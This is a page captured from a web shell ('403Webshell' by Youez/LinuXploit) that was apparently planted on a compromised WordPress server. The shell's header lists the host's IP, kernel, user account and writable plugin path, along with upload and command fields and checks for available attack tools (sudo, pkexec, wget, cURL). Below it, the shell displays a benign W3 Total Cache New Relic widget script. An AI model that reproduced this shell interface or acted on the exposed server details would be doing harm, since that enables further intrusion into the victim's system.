403Webshell
Server IP : 69.39.225.240  /  Your IP : 216.73.216.138
Web Server : Apache
System : Linux bronze7.serverhost.net 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : reademotions ( 1074)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/reademotions/www/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/reademotions/www/wp-content/plugins/w3-total-cache/Extension_NewRelic_Widget_View.js
jQuery(document).ready(function($) {
    function w3tcnr_load_basic() {
        $('.w3tcnr_loading').removeClass('w3tc_hidden');
        $('.w3tcnr_content').addClass('w3tc_hidden');
        $('.w3tcnr_error').addClass('w3tc_none');

        $.getJSON(ajaxurl + '?action=w3tc_ajax&_wpnonce=' + w3tc_nonce + 
            '&w3tc_action=newrelic_widgetdata_basic',
            function(data) {
                for (p in data) {
                    var v = data[p];
                    jQuery('.w3tcnr_' + p).html(v);
                }
                
                $('.w3tcnr_content').removeClass('w3tc_hidden');
                $('.w3tcnr_loading').addClass('w3tc_hidden');
            }
        ).fail(function() {
            $('.w3tcnr_error').removeClass('w3tc_none');
            $('.w3tcnr_content').addClass('w3tc_hidden');
            $('.w3tcnr_loading').addClass('w3tc_hidden');
        });
    }



    function w3tcnr_load_topfive(action, selector) {
        $.getJSON(ajaxurl + '?action=w3tc_ajax&_wpnonce=' + w3tc_nonce + 
            '&w3tc_action=' + action,
            function(data) {
                $(selector).html(data.content);

                // resize outer window to newly grown widget
                jQuery('#normal-sortables').masonry({
                    itemSelector: '.postbox'
                });
            }
        ).fail(function() {
            $(selector).html('<div class="w3tcnr_topfive_message">Request failed</div>');
        });
    }


    var nr_widget = jQuery('#new-relic-widget');
    nr_widget.find('div.top-five').hide();
    $('.w3tcnr-header-pageloads').click(function() {
        jQuery(this).find('div').toggleClass('close');
        jQuery(this).parents('.wrapper').find("div.top-five").toggle();

        w3tcnr_load_topfive('newrelic_widgetdata_pageloads', 
            '.w3tcnr_pageloads');
    });
    $('.w3tcnr-header-webtransactions').click(function() {
        jQuery(this).find('div').toggleClass('close');
        jQuery(this).parents('.wrapper').find("div.top-five").toggle();

        w3tcnr_load_topfive('newrelic_widgetdata_webtransactions', 
            '.w3tcnr_webtransactions');
    });
    $('.w3tcnr-header-dbtimes').click(function() {
        jQuery(this).find('div').toggleClass('close');
        jQuery(this).parents('.wrapper').find("div.top-five").toggle();

        w3tcnr_load_topfive('newrelic_widgetdata_dbtimes', 
            '.w3tcnr_dbtimes');
    });


    w3tcnr_load_basic();
});

Youez - 2016 - github.com/yon3zu
LinuXploit